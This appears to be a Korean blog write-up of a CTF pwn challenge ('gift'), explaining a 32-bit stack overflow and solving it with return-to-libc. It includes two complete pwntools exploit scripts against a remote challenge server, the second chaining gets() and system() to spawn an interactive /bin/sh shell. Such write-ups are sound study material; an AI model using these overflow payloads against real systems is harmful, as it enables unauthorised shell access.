Anatis 2021. 3. 23. 15:43

 

1. Mitigation

NX enabled 인거 말고는 걸려있는 것 이 없다.

 

2. 문제 확인

문제를 실행시켜보면 의문의 주소 두개를 보여주고 첫 번째 입력을 받으면 입력한걸 출력해주고 두 번째에 또 입력을 받는다. 저 주소의 정체가 무엇인지 확인 하자.

 

3. 풀이

IDA를 통해 확인해 보면 두 개의 주소는 binsh와 system의 주소이다. 주소를 알려주기 때문에 Gift인가? 그리고 두번의 입력을 받는데 두 번째 입력을 통해 오버플로우가 일어나는데 저 두 주소를 이용하여 RTL을 하면 

 

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3018)
lib = ELF('/lib/i386-linux-gnu/libc.so.6')
e = ELF('./gift')

pr = 0x8048686
binsh = 0x8049940

p.recvuntil('0x8049940 ')
system = int(p.recv(10), 16)

p.sendline('AAAA')

payload = 'B'*136
payload += p32(system)
payload += p32(pr)
payload += p32(binsh)

p.sendline(payload)

p.interactive()

공격을 시도해보면 쉘이 따지지 않는다... 이 부분에서 왜 쉘이 안따지나 삽질을 많이 했다. binsh가 잘못됬나 싶어서 분석해보았다.

 

gdb로 확인해본 결과 binsh에는 아무것도 없다 그냥 빈껍데기다. 원인을 알았으니 RTL 체인을 이용하여 플래그를 따보자!!

 

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3018)
lib = ELF('/lib/i386-linux-gnu/libc.so.6')
e = ELF('./gift')

pr = 0x8048686
binsh = 0x8049940

p.recvuntil('0x8049940 ')
system = int(p.recv(10), 16)


p.sendline('AAAA')

payload = 'B'*136
payload += p32(e.plt['gets'])
payload += p32(pr)
payload += p32(binsh)

payload += p32(system)
payload += p32(pr)
payload += p32(binsh)

p.sendline(payload)
p.sendline('/bin/sh\x00')

p.interactive()